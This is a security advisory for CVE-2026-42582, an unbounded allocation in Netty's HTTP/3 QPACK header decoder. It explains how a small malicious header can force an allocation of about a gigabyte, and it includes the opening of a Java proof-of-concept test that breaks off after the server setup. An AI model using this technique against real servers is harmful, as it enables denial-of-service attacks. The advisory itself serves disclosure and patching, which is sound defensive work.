CVE-2026-42582 - Netty HTTP/3 QPACK literal unbounded allocation
CVE-2026-42582 - Netty HTTP/3 QPACK literal unbounded allocation
GHSA-2c5c-chwr-9hqw HIGH maven/io.netty:netty-codec-http3
CVE: CVE-2026-42582
Summary
When Netty decodes HTTP/3 headers, it sometimes runs new byte[length] using a length from the wire before checking that many bytes are really there. A small malicious header can claim a huge length (on the order of a gigabyte).
Details
When decoding header blocks, the non-Huffman branch of io.netty.handler.codec.http3.QpackDecoder#decodeHuffmanEncodedLiteral may execute new byte[length] for a string literal before verifying that length bytes are actually present in the compressed field section. The wire encoding allows a very large length to be expressed in few bytes. There is no check that length <= in.readableBytes() before new byte[length].
PoC
The test below constructs a small HTTP/3 HEADERS frame whose QPACK section decodes to a ~1 GiB non-Huffman name length and is used to observe server-side failure; it illustrates how little wire data can target new byte[length].
@Test
public void test() throws Exception {
EventLoopGroup group = new MultiThreadIoEventLoopGroup(1, NioIoHandler.newFactory());
try {
X509Bundle cert = new CertificateBuilder()
.subject("cn=localhost")
.setIsCertificateAuthority(true)
.buildSelfSigned();
QuicSslContext serverContext = QuicSslContextBuilder.forServer(cert.toTempPrivateKeyPem(), null, cert.toTempCertChainPem())
.applicationProtocols(Http3.supportedApplicationProtocols())
.build();
AtomicReference<Throwable> serverErrors = new AtomicReference<>();
CountDownLatch serverConnectionClosed = new CountDownLatch(1);
ChannelHandler serverCodec = Http3.newQuicServerCodecBuilder()
.sslContext(serverContext)
.maxIdleTimeout(5000, TimeUnit.MILLISECONDS)
.initialMaxData(10_000_000)
.initialMaxStreamDataBidirectionalLocal(1_000_000)
📌 来源: GitHub-Advisory | 🆔 CVE-2026-42582 | 📅 2026-05-07